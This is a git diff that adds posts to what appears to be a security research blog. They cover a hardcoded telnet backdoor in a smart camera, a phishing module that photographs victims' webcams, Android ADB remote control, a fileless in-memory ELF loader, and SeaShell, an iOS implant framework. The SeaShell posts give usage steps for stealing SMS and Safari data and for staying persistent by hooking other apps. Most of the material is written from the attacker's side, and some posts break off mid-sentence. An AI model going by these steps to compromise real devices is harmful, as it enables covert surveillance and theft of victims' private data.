diff --git a/_includes/head.html b/_includes/head.html new file mode 100644 index 0000000..7c18299 --- /dev/null +++ b/_includes/head.html @@ -0,0 +1,129 @@ +
+ + + + + + + + {%- capture seo_tags -%} + {% seo title=false %} + {%- endcapture -%} + + + + {% if page.image %} + {% assign src = page.image.path | default: page.image %} + + {% unless src contains '://' %} + {%- capture img_url -%} + {% include media-url.html src=src subpath=page.media_subpath absolute=true %} + {%- endcapture -%} + + {%- capture old_url -%}{{ src | absolute_url }}{%- endcapture -%} + {%- capture new_url -%}{{ img_url }}{%- endcapture -%} + + {% assign seo_tags = seo_tags | replace: old_url, new_url %} + {% endunless %} + + {% elsif site.social_preview_image %} + {%- capture img_url -%} + {% include media-url.html src=site.social_preview_image absolute=true %} + {%- endcapture -%} + + {%- capture og_image -%} + + {%- endcapture -%} + + {%- capture twitter_image -%} + + + {%- endcapture -%} + + {% assign old_meta_clip = '' %} + {% assign new_meta_clip = og_image | append: twitter_image %} + {% assign seo_tags = seo_tags | replace: old_meta_clip, new_meta_clip %} + {% endif %} + + {{ seo_tags }} + ++ +
+ +Backdoor was found in a Denver SHC-150 Smart Wifi Camera by Ivan Nikolsky, security researcher from EntySec. + +> I bought this model of wifi camera in the shop and before setting it up, checked it for vulnerabilities and backdoors. +> I scanned this camera for open ports and noticed that telnet service is running on port 23. I brute-forced credentials and logged right to the shell. +> There is no way to close this port or change credentials - they are hardcoded. Maybe other models also have this backdoor too, I am not sure. +> +> -- Ivan Nikolskiy + +So, the telnet service, as Ivan noticed, has hardcoded credentials and after brute-forcing them he found out that the only thing which is needed to login is username - `default`. + +```shell +enty8080@Ivans-Air ~ % telnet 192.168.2.118 23 +Trying 192.168.2.118... +Connected to pc192-168-2-118. +Escape character is '^]'. + +goke login: default +$ ls / +bin home linuxrc opt run tmp +dev init media proc sbin usr +etc lib mnt root sys var +$ pwd +/home/default +$ exit +Connection closed by foreign host. +enty8080@Ivans-Air ~ % +``` + +As you can see, successfull login leads to the shell of the camera. Also he found out that Denver SHC-150 Smart Wifi Camera runs on `armle` CPU and has `r/w` filesystem. + +> So, backdoor is a factory telnet credential - `default`. +> Just open the telnet connection with the camera on port 23 and enter `default`. +> After this, you'll get a Linux shell. +> Backdoor allows an attacker to execute commands on OS lever through telnet. +> +> -- Ivan Nikolskiy + +Ivan has already posted this research [here](https://www.exploit-db.com/exploits/50160). diff --git a/_posts/2022-03-13-webcam-photo-phishing.md b/_posts/2022-03-13-webcam-photo-phishing.md new file mode 100644 index 0000000..388a031 --- /dev/null +++ b/_posts/2022-03-13-webcam-photo-phishing.md @@ -0,0 +1,97 @@ +--- +title: Webcam Photo Phishing +categories: [Exploitation] +tags: [hatsploit, phishing] +--- + +Phishing is a common technique used by attackers to gain access to sensitive information through methods like social engineering. Attackers often attempt to obtain credentials, password hashes, location data, and other critical information by tricking users into revealing this data. + +In the HatSploit Framework, EntySec has implemented several modules specifically designed to target a victim’s webcam. These modules allow attackers to take a photo using the target's webcam through a browser and save the captured image as loot on the attacker's machine. Additionally, attackers can stream the webcam footage in real-time. These modules are named `exploit/generic/gather/browser_webcam_photo` and `exploit/generic/gather/browser_webcam_stream`. + +Here’s how you can access and use these modules: + +```entysec +[hsf3]> search webcam + +Modules: + + Number Category Module Rank Name + 0 exploit exploit/generic/gather/browser_webcam_photo low Gather Browser Webcam Photo + 1 exploit exploit/generic/gather/browser_webcam_stream low Gather Browser Webcam Stream +``` + +## Using the module + +Once you have identified the desired module, you can use it within the HatSploit Framework and set the appropriate options. + +For example, to use the `Gather Browser Webcam Photo` module: + +```entysec +[hsf]> use 0 +[hsf3: Gather Browser Webcam Photo]> info + + Name: Gather Browser Webcam Photo + Module: exploit/generic/gather/browser_webcam_photo +Platform: generic + Rank: low + +Authors: + Ivan Nikolskiy (enty8080) - module developer + +Description: + This module generates a webpage that, when accessed by a victim, attempts to capture an image using the built-in webcam and send it to the attacker. + +References: + URL: https://blog.entysec.com/2022-03-13-webcam-photo-phishing/ + +Stability: + This module is stable and does not crash the target. +``` + +## Configuring the module + +You will need to configure several options before running the module: + +```entysec +[hsf3: Gather Browser Webcam Photo]> options + +Module Options (exploit/generic/gather/browser_webcam_photo): + + Option Value Required Description + HOST yes HTTP host. + MESSAGE Grant Access yes Message to display. + PATH /Users/felix/.hsf/loot/zIlWzaKkC9x28XX7.png yes Path to save file. + PORT 80 yes HTTP port. + SSL no no Use SSL. + TIMEOUT 10 no Connection timeout. + URLPATH / yes File path on server. +``` + +## Running the module + +After configuring the options, you can start the web server and wait for the victim to access the malicious webpage. The module will continue to capture images from the victim’s webcam until it is manually interrupted. + +Here’s an example: + +```entysec +[hsf3: Gather Browser Webcam Photo]> set host localhost +[i] host => localhost +[hsf3: Gather Browser Webcam Photo]> set port 8080 +[i] port => 8080 +[hsf3: Gather Browser Webcam Photo]> run + +[*] Starting HTTP listener on port 8080... +[*] Delivering payload... +[*] Taking webcam photo... +[*] Taking webcam photo... +[*] Taking webcam photo... +[*] Taking webcam photo... +[*] Taking webcam photo... +[*] Taking webcam photo... +[*] Taking webcam photo... +[!] Exploit module interrupted. +``` + +This module will continue to capture and update the photo file saved in the loot directory until you stop it manually with keyboard interrupt (Ctrl-C). + +By utilizing this module, attackers can gain access to sensitive webcam data through the use of phishing techniques, making it an essential tool in the HatSploit Framework. diff --git a/_posts/2022-08-08-ghost-framework.md b/_posts/2022-08-08-ghost-framework.md new file mode 100644 index 0000000..c0542da --- /dev/null +++ b/_posts/2022-08-08-ghost-framework.md @@ -0,0 +1,126 @@ +--- +title: Android Audit with Ghost +categories: [Post-Exploitation] +tags: [android] +image: + path: https://user-images.githubusercontent.com/54115104/116760735-6da1e780-aa1e-11eb-8c6f-530386487671.png +--- + +The EntySec Ghost Framework offers a powerful suite of commands and functions specifically tailored for Android penetration testing, making it a valuable tool for security professionals and ethical hackers focused on Android device security. Here’s a detailed look at some of its core commands and functions, and how they can be applied in security assessments: + +## Key Commands and Functions + +* Connection Management Commands + * **connect** - Connects to a target Android device's IP address via the Android Debug Bridge (ADB) if the ADB service is enabled on the device. + * **disconnect** - Disconnects from the connected device, allowing testers to terminate the connection quickly. + * **devices** - Lists all devices currently connected to Ghost Framework, displaying information such as IP addresses and connection statuses. + +```entysec +(ghost)> connect 192.168.2.101 +[*] Connecting to 192.168.1.101... +[+] Connected to 192.168.1.101! + +[i] Type devices to list all connected devices. +[i] Type interact 0 to interact this device. +(ghost)> devices + +Connected Devices: + + ID Host Port + 0 192.168.1.101 5555 +``` + +These commands form the core of the framework, enabling testers to establish and terminate connections to Android devices. + +* Device Information Retrieval Commands + * **battery** - Shows the battery status of the connected device, which can be useful in determining device activity. + * **network** - Displays network-related information, such as IP addresses, MAC addresses, and network type (Wi-Fi, cellular, etc.), giving insights into the device's connectivity. + +```entysec +(ghost)> interact 0 +[*] Interacting with device 0... +[+] Interactive connection spawned! + +[*] Loading device modules... +[i] Modules loaded: 13 +(ghost: 192.168.1.101)> help + +Core Commands: + + Command Description + clear Clear terminal window. + exit Exit console. + help Show all available commands. + quit Exit console. + source Execute specific file as source. + + +Manage Commands: + + Command Description + download Download file from device. + keyboard Interact with device keyboard. + list List directory contents. + network Retrieve network informations. + openurl Open URL on device. + press Press device button by keycode. + screenshot Take device screenshot. + shell Execute shell command on device. + sleep Put device into sleep mode. + upload Upload file to device. + +Press Enter for more, 'a' for all, 'q' to quit: +``` + +These commands help testers understand the target device's setup and network environment, providing a foundational overview before further testing. + +* File System Access and Management Commands + * **list** - Lists files and directories in the specified path on the Android device. + * **cd** - Changes the current working directory on the target device, allowing testers to navigate through the file system. + * **download** - Pulls files from the target Android device to the local system. + * **upload** - Uploads files from the local system to the target Android device. + +```entysec +(ghost: 192.168.1.101)> list / + +Directory /: + + Name Mode Size Modification Time + . 16877 4096 1970-01-01 01:00:19 + .. 16877 4096 1970-01-01 01:00:19 + Reserve0 16877 16384 1970-01-01 01:00:00 + acct 16749 0 1970-01-01 01:00:06 + bin 41380 11 2008-12-31 16:00:00 + bugreports 41380 50 2008-12-31 16:00:00 + cache 16888 4096 2008-12-31 16:03:01 + charger 41380 13 2008-12-31 16:00:00 + config 16877 0 1970-01-01 01:00:01 + d 41380 17 2008-12-31 16:00:00 + data 16889 4096 2008-12-31 16:03:03 + default.prop 41344 23 2008-12-31 16:00:00 + dev 16877 1560 1970-01-01 01:00:11 + etc 41380 11 2008-12-31 16:00:00 + file_contexts.bin 33188 763704 2008-12-31 16:00:00 + init 33256 1711440 2008-12-31 16:00:00 + init.environ.rc 33256 1139 2008-12-31 16:00:00 + init.rc 33256 29580 2008-12-31 16:00:00 + init.recovery.sun50iw6p1.rc 33256 328 2008-12-31 16:00:00 + init.usb.configfs.rc 33256 7690 2008-12-31 16:00:00 + init.usb.rc 33256 5646 2008-12-31 16:00:00 +Press Enter for more, 'a' for all, 'q' to quit: +``` + +These commands are essential for file exploration, providing access to data stored on the device, which can be critical when assessing sensitive information exposure. + +## Practical Applications in Security Testing + +* Network Security Testing: Ghost Framework can test the security of the ADB protocol, especially if the device is inadvertently exposed to public networks. +* Application Security Assessment: By listing installed applications and their versions, testers can identify outdated or potentially vulnerable apps, which could be exploited. +* Forensic Analysis: Ghost Framework’s remote access capabilities enable real-time forensic analysis of an Android device’s file system and active applications, which can be + useful for incident response. + +## Ethical and Legal Implications +It’s essential to remember that while Ghost Framework is a powerful tool, it is meant strictly for authorized testing. Unauthorized access to Android devices is illegal and unethical. Always obtain explicit consent before performing any penetration testing, and ensure compliance with relevant laws and regulations. + +## Final Notes +Ghost Framework offers deep, hands-on interaction with Android devices, providing security professionals a robust toolkit for analyzing Android security. The framework’s capabilities underscore the importance of securing Android devices, especially by disabling the ADB service on devices that don’t require it and by applying security patches regularly to close known vulnerabilities. diff --git a/_posts/2023-04-02-remote-elf-loading.md b/_posts/2023-04-02-remote-elf-loading.md new file mode 100644 index 0000000..25e75ea --- /dev/null +++ b/_posts/2023-04-02-remote-elf-loading.md @@ -0,0 +1,134 @@ +--- +title: Remote in-memory ELF loader +categories: [Programming] +tags: [assembly, malware] +--- + +Fileless malware distribution is gaining popularity. +What is not surprisingly, because the work of such programs leaves almost no traces. +Moreover, since the very beginning hackers always searched for ways to stay anonymous and hide their malware on the system. +Thats why we focused on deep diving into this subject and came with the idea. +In Windows, there is **Reflective DLL Injection** which allows to execute malware right into the memory of the compromised process, but on Linux there is no such existing implementation. +So, then we thought, why not to use different ways of executing ELF files? + +We found out that there is a technique of creating temporary filesystem using `/dev/shm`, but this actually does not provide us what we want. +Out goal is to execute ELF file right into the memory, not from the disk. +And then, after reading this [very interesting article](https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html) we decided to improve method described in it. +As we all know it is possible to create different file descriptor and write data to it. +This file descriptor will appear in `/proc/+ +
+ +## SeaShell Framework + +SeaShell Framework is an iOS post-exploitation framework that enables you to access the device remotely, control it and extract sensitive information. All attacker needs to do is generate IPA file and start TCP listener. The IPA needs to be installed trough TrollStore or other application that exploits CoreTrust bug and launched single time. After this, if listener and connect-back host were configured correctly, attacker will receive an interactive session with the device. Moreover, SeaShell utilizes a sophisticated payload called [Pwny](https://github.com/EntySec/Pwny). It has lots of features including evasion, TLS encryption, dynamic extensions and much more. There are all the features that SeaShell provides: + +* **IPA generator** - All you need to do is generate an IPA file and install it on a target's device via [TrollStore](https://trollstore.app/) or other IPA installer that bypasses CoreTrust. After app was installed, a target simply need to run an app single time (he may close application completely after this). +* **Powerful Implant** - SeaShell Framework uses the advanced and powerful payload with lots of features. It is called [Pwny](https://github.com/EntySec/Pwny). You can extend it by adding your own post-exploitation modules or plugins. +* **Basic Set** - SeaShell Framework comes with basic set of post-exploitation modules that may exfiltrate following user data: SMS, VoiceMail, Safari history and much more. +* **Encrypted communication** - Communication between device and SeaShell is encrypted using the [TLS 1.3](https://en.wikipedia.org/wiki/Transport_Layer_Security) encryption by default. +* **Regular updates** - SeaShell Framework is being actively updated, so don't hesitate and leave your [feature request](https://github.com/EntySec/SeaShell/issues/new?assignees=&labels=&projects=&template=feature_request.md&title=)! + +It can be installed for publicly available repository using pip and then the interface might be launched with `seashell` command: + +```shell +pip3 install git+https://github.com/EntySec/SeaShell +``` + +It then may be updated with this command: + +```shell +pip3 install --force-reinstall git+https://github.com/EntySec/SeaShell +``` + +## How IPA works + +So, basically IPA is a compressed application bundle for iOS application that contains main executable, icons, `Info.plist` and other files related to the program. SeaShell utilizes its own application bundle with a simple executable and other executable which launches the Pwny payload. These are the stages of attack: + ++ +
+ +## Usage + +### Generating IPA + +Simply generate custom IPA file or patch existing one and install it on target's iPhone or iPad via [TrollStore](https://trollstore.app/) or other IPA installer that bypasses CoreTrust. + ++ +
+ +### Starting listener + +Then you will need to start a listener on a host and port you added to your IPA. Once the installed application opens, you will receive a connection. + ++ +
+ +### Accessing device + +Once you have received the connection, you will be able to communicate with the session through a [Pwny](https://github.com/EntySec/Pwny) interactive shell. Use `devices -i+ +
+ +## Interactive shell + +The interactive shell offered by Pwny simplifies the process of interacting with a compromised device. It features a robust interface equipped with essential tools for various tasks, such as managing the file system, extracting confidential data, uploading files, running programs, and many more capabilities. Below, I have outlined some of the prominent features that are presently available in this interface. + +### Safari data + +At present, it's possible to extract sensitive data from Safari using a few commands. To access the web browsing history, the command `safari_history` can be used. This command retrieves the database located at `/var/mobile/Library/Safari/` and parses it for information. Similarly, the command `safari_bookmarks` operates in the same manner, allowing you to view saved bookmarks by downloading and parsing the relevant Safari data. + ++ +
+ +### SMS data + +The interface also grants access to SMS data. You can list the chats present in the SMS application using the command `sms -l`. To extract the chat history with a specific contact, the command `sms+ +
+ +### Hooking to other applications + +Interface provides its own persistence method. Since on non-jailbroken phones (and rootless) `launchctl` is useless, interface uses "hooking". This means that payload is being injected inside a desired application's bundle and next time application is launched, attacker gets new remote connection. The hook can be installed via `hook` command and removed via `unhook`. Below I install hook to Calculator.app: + ++ +
+ +### Media player + +A fun feature that I would like to introduce is `player` command. It enables you to control media player. It has few options that are listed below. + +* `player info` - Get current playing item information. +* `player pause` - Stop current playing item. +* `player play` - Resume current playing item. +* `player next` - Go to next playing item. +* `player back` - Go back to the previous playing item. +* `player wave+ +
+ +## How to protect? + +In response to numerous online requests, I've prepared a guide on how to reduce the likelihood of falling victim to an attack via the SeaShell framework. Below are my suggestions: + +* **1.** Unzip IPA file that you want to install. +* **2.** Check of suspicious executables in the application bundle (e.g. SeaShell Framework adds executable called `mussel` to its application bundle which is a representation of [Pwny](https://github.com/EntySec/Pwny) payload). +* **3.** Read `Info.plist` and search for suspicious entries (e.g. SeaShell adds `CFBundleBase64Hash` to its `Info.plist`, it contains a host pair `+ +
+ +## Persistence + +Typically, we use `launchctl` to achieve persistence on iOS/macOS. However, on non-jailbroken iOS devices (and even on jailbroken ones nowadays, as they are rootless), the root directory (`/`) is not writable, which means that we cannot write to `/Library/LaunchAgents` or `/Library/LaunchDaemons`. Consequently, we are unable to install a `.plist` file that would launch the payload. + +Recognizing the need for a persistence installation method, I came up with an idea: What if we inject the payload into existing user applications? Initially, I considered inserting a dynamic library (`.dylib`) into the bundle executable of an application, but this would require re-signing the binary. Then, I had another idea: we can replace the bundle executable with a custom binary that will first execute the payload and then call the original executable. + +Essentially, our custom executable will use the `posix_spawn()` function to execute the payload and then use `execve()` to invoke the original executable. Since `execve()` replaces the current process image with a new one, this is the optimal approach to launch the application. Below, you can find a diagram illustrating this process using the `Calculator.app` as an example. + ++ +
+ +To perform hooking we need: + +* **1.** Patch `Info.plist` and add `CFBundleBase64Hash` containing base64 representation of `